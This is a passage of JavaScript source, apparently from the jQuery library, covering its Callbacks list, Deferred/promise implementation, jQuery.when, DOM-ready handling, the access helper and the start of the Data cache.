{\n\t\t\t\tmatched.reverse();\n\t\t\t}\n\t\t}\n\n\t\treturn this.pushStack( matched );\n\t};\n} );\nvar rnothtmlwhite = ( /[^\\x20\\t\\r\\n\\f]+/g );\n\n\n\n// Convert String-formatted options into Object-formatted ones\nfunction createOptions( options ) {\n\tvar object = {};\n\tjQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {\n\t\tobject[ flag ] = true;\n\t} );\n\treturn object;\n}\n\n/*\n * Create a callback list using the following parameters:\n *\n *\toptions: an optional list of space-separated options that will change how\n *\t\t\tthe callback list behaves or a more traditional option object\n *\n * By default a callback list will act like an event callback list and can be\n * \"fired\" multiple times.\n *\n * Possible options:\n *\n *\tonce:\t\t\twill ensure the callback list can only be fired once (like a Deferred)\n *\n *\tmemory:\t\t\twill keep track of previous values and will call any callback added\n *\t\t\t\t\tafter the list has been fired right away with the latest \"memorized\"\n *\t\t\t\t\tvalues (like a Deferred)\n *\n *\tunique:\t\t\twill ensure a callback can only be added once (no duplicate in the list)\n *\n *\tstopOnFalse:\tinterrupt callings when a callback returns false\n *\n */\njQuery.Callbacks = function( options ) {\n\n\t// Convert options from String-formatted to Object-formatted if needed\n\t// (we check in cache first)\n\toptions = typeof options === \"string\" ?\n\t\tcreateOptions( options ) :\n\t\tjQuery.extend( {}, options );\n\n\tvar // Flag to know if list is currently firing\n\t\tfiring,\n\n\t\t// Last fire value for non-forgettable lists\n\t\tmemory,\n\n\t\t// Flag to know if list was already fired\n\t\tfired,\n\n\t\t// Flag to prevent firing\n\t\tlocked,\n\n\t\t// Actual callback list\n\t\tlist = [],\n\n\t\t// Queue of execution data for repeatable lists\n\t\tqueue = [],\n\n\t\t// Index of currently firing callback (modified by add/remove as needed)\n\t\tfiringIndex = -1,\n\n\t\t// Fire callbacks\n\t\tfire = function() {\n\n\t\t\t// Enforce single-firing\n\t\t\tlocked = locked || options.once;\n\n\t\t\t// Execute callbacks for all pending executions,\n\t\t\t// respecting firingIndex overrides and runtime changes\n\t\t\tfired = firing = true;\n\t\t\tfor ( ; queue.length; firingIndex = -1 ) {\n\t\t\t\tmemory = queue.shift();\n\t\t\t\twhile ( ++firingIndex < list.length ) {\n\n\t\t\t\t\t// Run callback and check for early termination\n\t\t\t\t\tif ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&\n\t\t\t\t\t\toptions.stopOnFalse ) {\n\n\t\t\t\t\t\t// Jump to end and forget the data so .add doesn't re-fire\n\t\t\t\t\t\tfiringIndex = list.length;\n\t\t\t\t\t\tmemory = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Forget the data if we're done with it\n\t\t\tif ( !options.memory ) {\n\t\t\t\tmemory = false;\n\t\t\t}\n\n\t\t\tfiring = false;\n\n\t\t\t// Clean up if we're done firing for good\n\t\t\tif ( locked ) {\n\n\t\t\t\t// Keep an empty list if we have data for future add calls\n\t\t\t\tif ( memory ) {\n\t\t\t\t\tlist = [];\n\n\t\t\t\t// Otherwise, this object is spent\n\t\t\t\t} else {\n\t\t\t\t\tlist = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t// Actual Callbacks object\n\t\tself = {\n\n\t\t\t// Add a callback or a collection of callbacks to the list\n\t\t\tadd: function() {\n\t\t\t\tif ( list ) {\n\n\t\t\t\t\t// If we have memory from a past run, we should fire after adding\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfiringIndex = list.length - 1;\n\t\t\t\t\t\tqueue.push( memory );\n\t\t\t\t\t}\n\n\t\t\t\t\t( function add( args ) {\n\t\t\t\t\t\tjQuery.each( args, function( _, arg ) {\n\t\t\t\t\t\t\tif ( isFunction( arg ) ) {\n\t\t\t\t\t\t\t\tif ( !options.unique || !self.has( arg ) ) {\n\t\t\t\t\t\t\t\t\tlist.push( arg );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else if ( arg && arg.length && toType( arg ) !== \"string\" ) {\n\n\t\t\t\t\t\t\t\t// Inspect recursively\n\t\t\t\t\t\t\t\tadd( arg );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} );\n\t\t\t\t\t} )( arguments );\n\n\t\t\t\t\tif ( memory && !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Remove a callback from the list\n\t\t\tremove: function() {\n\t\t\t\tjQuery.each( arguments, function( _, arg ) {\n\t\t\t\t\tvar index;\n\t\t\t\t\twhile ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {\n\t\t\t\t\t\tlist.splice( index, 1 );\n\n\t\t\t\t\t\t// Handle firing indexes\n\t\t\t\t\t\tif ( index <= firingIndex ) {\n\t\t\t\t\t\t\tfiringIndex--;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Check if a given callback is in the list.\n\t\t\t// If no argument is given, return whether or not list has callbacks attached.\n\t\t\thas: function( fn ) {\n\t\t\t\treturn fn ?\n\t\t\t\t\tjQuery.inArray( fn, list ) > -1 :\n\t\t\t\t\tlist.length > 0;\n\t\t\t},\n\n\t\t\t// Remove all callbacks from the list\n\t\t\tempty: function() {\n\t\t\t\tif ( list ) {\n\t\t\t\t\tlist = [];\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Disable .fire and .add\n\t\t\t// Abort any current/pending executions\n\t\t\t// Clear all callbacks and values\n\t\t\tdisable: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tlist = memory = \"\";\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tdisabled: function() {\n\t\t\t\treturn !list;\n\t\t\t},\n\n\t\t\t// Disable .fire\n\t\t\t// Also disable .add unless we have memory (since it would have no effect)\n\t\t\t// Abort any pending executions\n\t\t\tlock: function() {\n\t\t\t\tlocked = queue = [];\n\t\t\t\tif ( !memory && !firing ) {\n\t\t\t\t\tlist = memory = \"\";\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\t\t\tlocked: function() {\n\t\t\t\treturn !!locked;\n\t\t\t},\n\n\t\t\t// Call all callbacks with the given context and arguments\n\t\t\tfireWith: function( context, args ) {\n\t\t\t\tif ( !locked ) {\n\t\t\t\t\targs = args || [];\n\t\t\t\t\targs = [ context, args.slice ? args.slice() : args ];\n\t\t\t\t\tqueue.push( args );\n\t\t\t\t\tif ( !firing ) {\n\t\t\t\t\t\tfire();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// Call all the callbacks with the given arguments\n\t\t\tfire: function() {\n\t\t\t\tself.fireWith( this, arguments );\n\t\t\t\treturn this;\n\t\t\t},\n\n\t\t\t// To know if the callbacks have already been called at least once\n\t\t\tfired: function() {\n\t\t\t\treturn !!fired;\n\t\t\t}\n\t\t};\n\n\treturn self;\n};\n\n\nfunction Identity( v ) {\n\treturn v;\n}\nfunction Thrower( ex ) {\n\tthrow ex;\n}\n\nfunction adoptValue( value, resolve, reject, noValue ) {\n\tvar method;\n\n\ttry {\n\n\t\t// Check for promise aspect first to privilege synchronous behavior\n\t\tif ( value && isFunction( ( method = value.promise ) ) ) {\n\t\t\tmethod.call( value ).done( resolve ).fail( reject );\n\n\t\t// Other thenables\n\t\t} else if ( value && isFunction( ( method = value.then ) ) ) {\n\t\t\tmethod.call( value, resolve, reject );\n\n\t\t// Other non-thenables\n\t\t} else {\n\n\t\t\t// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:\n\t\t\t// * false: [ value ].slice( 0 ) => resolve( value )\n\t\t\t// * true: [ value ].slice( 1 ) => resolve()\n\t\t\tresolve.apply( undefined, [ value ].slice( noValue ) );\n\t\t}\n\n\t// For Promises/A+, convert exceptions into rejections\n\t// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in\n\t// Deferred#then to conditionally suppress rejection.\n\t} catch ( value ) {\n\n\t\t// Support: Android 4.0 only\n\t\t// Strict mode functions invoked without .call/.apply get global-object context\n\t\treject.apply( undefined, [ value ] );\n\t}\n}\n\njQuery.extend( {\n\n\tDeferred: function( func ) {\n\t\tvar tuples = [\n\n\t\t\t\t// action, add listener, callbacks,\n\t\t\t\t// ... .then handlers, argument index, [final state]\n\t\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks( \"memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"memory\" ), 2 ],\n\t\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 0, \"resolved\" ],\n\t\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks( \"once memory\" ),\n\t\t\t\t\tjQuery.Callbacks( \"once memory\" ), 1, \"rejected\" ]\n\t\t\t],\n\t\t\tstate = \"pending\",\n\t\t\tpromise = {\n\t\t\t\tstate: function() {\n\t\t\t\t\treturn state;\n\t\t\t\t},\n\t\t\t\talways: function() {\n\t\t\t\t\tdeferred.done( arguments ).fail( arguments );\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\t\t\t\t\"catch\": function( fn ) {\n\t\t\t\t\treturn promise.then( null, fn );\n\t\t\t\t},\n\n\t\t\t\t// Keep pipe for back-compat\n\t\t\t\tpipe: function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\t\t\tvar fns = arguments;\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\t\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\n\t\t\t\t\t\t\t// Map tuples (progress, done, fail) to arguments (done, fail, progress)\n\t\t\t\t\t\t\tvar fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];\n\n\t\t\t\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\t\t\t\t// deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\t\t\tif ( returned && isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t\t\t.progress( newDefer.notify )\n\t\t\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t\t\t.fail( newDefer.reject );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\t\t\t\tthis,\n\t\t\t\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t} );\n\t\t\t\t\t\tfns = null;\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\t\t\t\tthen: function( onFulfilled, onRejected, onProgress ) {\n\t\t\t\t\tvar maxDepth = 0;\n\t\t\t\t\tfunction resolve( depth, deferred, handler, special ) {\n\t\t\t\t\t\treturn function() {\n\t\t\t\t\t\t\tvar that = this,\n\t\t\t\t\t\t\t\targs = arguments,\n\t\t\t\t\t\t\t\tmightThrow = function() {\n\t\t\t\t\t\t\t\t\tvar returned, then;\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.3\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-59\n\t\t\t\t\t\t\t\t\t// Ignore double-resolution attempts\n\t\t\t\t\t\t\t\t\tif ( depth < maxDepth ) {\n\t\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\treturned = handler.apply( that, args );\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.1\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-48\n\t\t\t\t\t\t\t\t\tif ( returned === deferred.promise() ) {\n\t\t\t\t\t\t\t\t\t\tthrow new TypeError( \"Thenable self-resolution\" );\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Support: Promises/A+ sections 2.3.3.1, 3.5\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-54\n\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-75\n\t\t\t\t\t\t\t\t\t// Retrieve `then` only once\n\t\t\t\t\t\t\t\t\tthen = returned &&\n\n\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.4\n\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-64\n\t\t\t\t\t\t\t\t\t\t// Only check objects and functions for thenability\n\t\t\t\t\t\t\t\t\t\t( typeof returned === \"object\" ||\n\t\t\t\t\t\t\t\t\t\t\ttypeof returned === \"function\" ) &&\n\t\t\t\t\t\t\t\t\t\treturned.then;\n\n\t\t\t\t\t\t\t\t\t// Handle a returned thenable\n\t\t\t\t\t\t\t\t\tif ( isFunction( then ) ) {\n\n\t\t\t\t\t\t\t\t\t\t// Special processors (notify) just wait for resolution\n\t\t\t\t\t\t\t\t\t\tif ( special ) {\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special )\n\t\t\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t\t// Normal processors (resolve) also hook into progress\n\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t// ...and disregard older resolution values\n\t\t\t\t\t\t\t\t\t\t\tmaxDepth++;\n\n\t\t\t\t\t\t\t\t\t\t\tthen.call(\n\t\t\t\t\t\t\t\t\t\t\t\treturned,\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Thrower, special ),\n\t\t\t\t\t\t\t\t\t\t\t\tresolve( maxDepth, deferred, Identity,\n\t\t\t\t\t\t\t\t\t\t\t\t\tdeferred.notifyWith )\n\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Handle all other returned values\n\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\tif ( handler !== Identity ) {\n\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\targs = [ returned ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t// Process the value(s)\n\t\t\t\t\t\t\t\t\t\t// Default process is resolve\n\t\t\t\t\t\t\t\t\t\t( special || deferred.resolveWith )( that, args );\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t// Only normal processors (resolve) catch and reject exceptions\n\t\t\t\t\t\t\t\tprocess = special ?\n\t\t\t\t\t\t\t\t\tmightThrow :\n\t\t\t\t\t\t\t\t\tfunction() {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tmightThrow();\n\t\t\t\t\t\t\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t\t\t\t\t\t\tif ( jQuery.Deferred.exceptionHook ) {\n\t\t\t\t\t\t\t\t\t\t\t\tjQuery.Deferred.exceptionHook( e,\n\t\t\t\t\t\t\t\t\t\t\t\t\tprocess.stackTrace );\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.4.1\n\t\t\t\t\t\t\t\t\t\t\t// https://promisesaplus.com/#point-61\n\t\t\t\t\t\t\t\t\t\t\t// Ignore post-resolution exceptions\n\t\t\t\t\t\t\t\t\t\t\tif ( depth + 1 >= maxDepth ) {\n\n\t\t\t\t\t\t\t\t\t\t\t\t// Only substitute handlers pass on context\n\t\t\t\t\t\t\t\t\t\t\t\t// and multiple values (non-spec behavior)\n\t\t\t\t\t\t\t\t\t\t\t\tif ( handler !== Thrower ) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tthat = undefined;\n\t\t\t\t\t\t\t\t\t\t\t\t\targs = [ e ];\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\tdeferred.rejectWith( that, args );\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t};\n\n\t\t\t\t\t\t\t// Support: Promises/A+ section 2.3.3.3.1\n\t\t\t\t\t\t\t// https://promisesaplus.com/#point-57\n\t\t\t\t\t\t\t// Re-resolve promises immediately to dodge false rejection from\n\t\t\t\t\t\t\t// subsequent errors\n\t\t\t\t\t\t\tif ( depth ) {\n\t\t\t\t\t\t\t\tprocess();\n\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t// Call an optional hook to record the stack, in case of exception\n\t\t\t\t\t\t\t\t// since it's otherwise lost when execution goes async\n\t\t\t\t\t\t\t\tif ( jQuery.Deferred.getStackHook ) {\n\t\t\t\t\t\t\t\t\tprocess.stackTrace = jQuery.Deferred.getStackHook();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\twindow.setTimeout( process );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\n\t\t\t\t\t\t// progress_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 0 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onProgress ) ?\n\t\t\t\t\t\t\t\t\tonProgress :\n\t\t\t\t\t\t\t\t\tIdentity,\n\t\t\t\t\t\t\t\tnewDefer.notifyWith\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// fulfilled_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 1 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onFulfilled ) ?\n\t\t\t\t\t\t\t\t\tonFulfilled :\n\t\t\t\t\t\t\t\t\tIdentity\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// rejected_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 2 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onRejected ) ?\n\t\t\t\t\t\t\t\t\tonRejected :\n\t\t\t\t\t\t\t\t\tThrower\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\treturn obj != null ? jQuery.extend( obj, promise ) : promise;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = {};\n\n\t\t// Add list-specific methods\n\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\tvar list = tuple[ 2 ],\n\t\t\t\tstateString = tuple[ 5 ];\n\n\t\t\t// promise.progress = list.add\n\t\t\t// promise.done = list.add\n\t\t\t// promise.fail = list.add\n\t\t\tpromise[ tuple[ 1 ] ] = list.add;\n\n\t\t\t// Handle state\n\t\t\tif ( stateString ) {\n\t\t\t\tlist.add(\n\t\t\t\t\tfunction() {\n\n\t\t\t\t\t\t// state = \"resolved\" (i.e., fulfilled)\n\t\t\t\t\t\t// state = \"rejected\"\n\t\t\t\t\t\tstate = stateString;\n\t\t\t\t\t},\n\n\t\t\t\t\t// rejected_callbacks.disable\n\t\t\t\t\t// fulfilled_callbacks.disable\n\t\t\t\t\ttuples[ 3 - i ][ 2 ].disable,\n\n\t\t\t\t\t// rejected_handlers.disable\n\t\t\t\t\t// fulfilled_handlers.disable\n\t\t\t\t\ttuples[ 3 - i ][ 3 ].disable,\n\n\t\t\t\t\t// progress_callbacks.lock\n\t\t\t\t\ttuples[ 0 ][ 2 ].lock,\n\n\t\t\t\t\t// progress_handlers.lock\n\t\t\t\t\ttuples[ 0 ][ 3 ].lock\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// progress_handlers.fire\n\t\t\t// fulfilled_handlers.fire\n\t\t\t// rejected_handlers.fire\n\t\t\tlist.add( tuple[ 3 ].fire );\n\n\t\t\t// deferred.notify = function() { deferred.notifyWith(...) }\n\t\t\t// deferred.resolve = function() { deferred.resolveWith(...) }\n\t\t\t// deferred.reject = function() { deferred.rejectWith(...) }\n\t\t\tdeferred[ tuple[ 0 ] ] = function() {\n\t\t\t\tdeferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? undefined : this, arguments );\n\t\t\t\treturn this;\n\t\t\t};\n\n\t\t\t// deferred.notifyWith = list.fireWith\n\t\t\t// deferred.resolveWith = list.fireWith\n\t\t\t// deferred.rejectWith = list.fireWith\n\t\t\tdeferred[ tuple[ 0 ] + \"With\" ] = list.fireWith;\n\t\t} );\n\n\t\t// Make the deferred a promise\n\t\tpromise.promise( deferred );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( singleValue ) {\n\t\tvar\n\n\t\t\t// count of uncompleted subordinates\n\t\t\tremaining = arguments.length,\n\n\t\t\t// count of unprocessed arguments\n\t\t\ti = remaining,\n\n\t\t\t// subordinate fulfillment data\n\t\t\tresolveContexts = Array( i ),\n\t\t\tresolveValues = slice.call( arguments ),\n\n\t\t\t// the master Deferred\n\t\t\tmaster = jQuery.Deferred(),\n\n\t\t\t// subordinate callback factory\n\t\t\tupdateFunc = function( i ) {\n\t\t\t\treturn function( value ) {\n\t\t\t\t\tresolveContexts[ i ] = this;\n\t\t\t\t\tresolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n\t\t\t\t\tif ( !( --remaining ) ) {\n\t\t\t\t\t\tmaster.resolveWith( resolveContexts, resolveValues );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t};\n\n\t\t// Single- and empty arguments are adopted like Promise.resolve\n\t\tif ( remaining <= 1 ) {\n\t\t\tadoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject,\n\t\t\t\t!remaining );\n\n\t\t\t// Use .then() to unwrap secondary thenables (cf. gh-3000)\n\t\t\tif ( master.state() === \"pending\" ||\n\t\t\t\tisFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {\n\n\t\t\t\treturn master.then();\n\t\t\t}\n\t\t}\n\n\t\t// Multiple arguments are aggregated like Promise.all array elements\n\t\twhile ( i-- ) {\n\t\t\tadoptValue( resolveValues[ i ], updateFunc( i ), master.reject );\n\t\t}\n\n\t\treturn master.promise();\n\t}\n} );\n\n\n// These usually indicate a programmer mistake during development,\n// warn about them ASAP rather than swallowing them by default.\nvar rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;\n\njQuery.Deferred.exceptionHook = function( error, stack ) {\n\n\t// Support: IE 8 - 9 only\n\t// Console exists when dev tools are open, which can happen at any time\n\tif ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {\n\t\twindow.console.warn( \"jQuery.Deferred exception: \" + error.message, error.stack, stack );\n\t}\n};\n\n\n\n\njQuery.readyException = function( error ) {\n\twindow.setTimeout( function() {\n\t\tthrow error;\n\t} );\n};\n\n\n\n\n// The deferred used on DOM ready\nvar readyList = jQuery.Deferred();\n\njQuery.fn.ready = function( fn ) {\n\n\treadyList\n\t\t.then( fn )\n\n\t\t// Wrap jQuery.readyException in a function so that the lookup\n\t\t// happens at the time of error handling instead of callback\n\t\t// registration.\n\t\t.catch( function( error ) {\n\t\t\tjQuery.readyException( error );\n\t\t} );\n\n\treturn this;\n};\n\njQuery.extend( {\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\n\t\t// Abort if there are pending holds or we're already ready\n\t\tif ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Remember that the DOM is ready\n\t\tjQuery.isReady = true;\n\n\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If there are functions bound, to execute\n\t\treadyList.resolveWith( document, [ jQuery ] );\n\t}\n} );\n\njQuery.ready.then = readyList.then;\n\n// The ready event handler and self cleanup method\nfunction completed() {\n\tdocument.removeEventListener( \"DOMContentLoaded\", completed );\n\twindow.removeEventListener( \"load\", completed );\n\tjQuery.ready();\n}\n\n// Catch cases where $(document).ready() is called\n// after the browser event has already occurred.\n// Support: IE <=9 - 10 only\n// Older IE sometimes signals \"interactive\" too soon\nif ( document.readyState === \"complete\" ||\n\t( document.readyState !== \"loading\" && !document.documentElement.doScroll ) ) {\n\n\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\twindow.setTimeout( jQuery.ready );\n\n} else {\n\n\t// Use the handy event callback\n\tdocument.addEventListener( \"DOMContentLoaded\", completed );\n\n\t// A fallback to window.onload, that will always work\n\twindow.addEventListener( \"load\", completed );\n}\n\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\nvar access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n\tvar i = 0,\n\t\tlen = elems.length,\n\t\tbulk = key == null;\n\n\t// Sets many values\n\tif ( toType( key ) === \"object\" ) {\n\t\tchainable = true;\n\t\tfor ( i in key ) {\n\t\t\taccess( elems, fn, i, key[ i ], true, emptyGet, raw );\n\t\t}\n\n\t// Sets one value\n\t} else if ( value !== undefined ) {\n\t\tchainable = true;\n\n\t\tif ( !isFunction( value ) ) {\n\t\t\traw = true;\n\t\t}\n\n\t\tif ( bulk ) {\n\n\t\t\t// Bulk operations run against the entire set\n\t\t\tif ( raw ) {\n\t\t\t\tfn.call( elems, value );\n\t\t\t\tfn = null;\n\n\t\t\t// ...except when executing function values\n\t\t\t} else {\n\t\t\t\tbulk = fn;\n\t\t\t\tfn = function( elem, key, value ) {\n\t\t\t\t\treturn bulk.call( jQuery( elem ), value );\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\tfn(\n\t\t\t\t\telems[ i ], key, raw ?\n\t\t\t\t\tvalue :\n\t\t\t\t\tvalue.call( elems[ i ], i, fn( elems[ i ], key ) )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( chainable ) {\n\t\treturn elems;\n\t}\n\n\t// Gets\n\tif ( bulk ) {\n\t\treturn fn.call( elems );\n\t}\n\n\treturn len ? fn( elems[ 0 ], key ) : emptyGet;\n};\n\n\n// Matches dashed string for camelizing\nvar rmsPrefix = /^-ms-/,\n\trdashAlpha = /-([a-z])/g;\n\n// Used by camelCase as callback to replace()\nfunction fcamelCase( all, letter ) {\n\treturn letter.toUpperCase();\n}\n\n// Convert dashed to camelCase; used by the css and data modules\n// Support: IE <=9 - 11, Edge 12 - 15\n// Microsoft forgot to hump their vendor prefix (#9572)\nfunction camelCase( string ) {\n\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n}\nvar acceptData = function( owner ) {\n\n\t// Accepts only:\n\t//  - Node\n\t//    - Node.ELEMENT_NODE\n\t//    - Node.DOCUMENT_NODE\n\t//  - Object\n\t//    - Any\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\n\n\n\nfunction Data() {\n\tthis.expando = jQuery.expando + Data.uid++;\n}\n\nData.uid = 1;\n\nData.prototype = {\n\n\tcache: function( owner ) {\n\n\t\t// Check if the owner object already has a cache\n\t\tvar value = owner[ this.expando ];\n\n\t\t// If not, create one\n\t\tif ( !value ) {\n\t\t\tvalue = {};\n\n\t\t\t// We can accept data for non-element nodes in modern browsers,\n\t\t\t// but we should not, see #8335.\n\t\t\t// Always return an empty object.\n\t\t\tif ( acceptData( owner ) ) {\n\n\t\t\t\t// If it is a node unlikely to be stringify-ed or looped over\n\t\t\t\t// use plain assignment\n\t\t\t\tif ( owner.nodeType ) {\n\t\t\t\t\towner[ this.expando ] = value;\n\n\t\t\t\t// Otherwise secure it in a non-enumerable property\n\t\t\t\t// configurable must be true to allow the property to be\n\t\t\t\t// deleted when data is removed\n\t\t\t\t} else {\n\t\t\t\t\tObject.defineProperty( owner, this.expando, {\n\t\t\t\t\t\tvalue: value,\n\t\t\t\t\t\tconfigurable: true\n\t\t\t\t\t} 